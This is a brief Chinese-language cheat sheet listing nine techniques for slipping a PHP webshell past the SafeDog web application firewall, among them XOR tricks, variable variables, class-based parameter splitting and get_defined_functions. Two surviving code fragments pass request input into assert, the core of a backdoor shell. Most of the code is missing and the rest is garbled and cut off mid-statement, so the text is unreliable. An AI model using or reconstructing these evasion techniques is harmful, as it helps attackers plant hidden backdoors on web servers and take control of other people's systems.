过安全狗方式上传shell

1. php的异或运算：

2.利用字符的运算符：

3.通过end函数代替[]:

4.通过常量去绕过:

5.字符串拼接+双美元符

6.通过函数定义绕过

7.通过类定义，然后传参分割

1. name"); } } $user = new User; $user->name = ''.$_REQUEST[1]; ?>

8.多传参方式绕过

1. $value){ ​ if($key=='assert'){ ​ $key($_REQUEST['s']); ​ } ​ } ?>

9.通过get_defined_functions绕过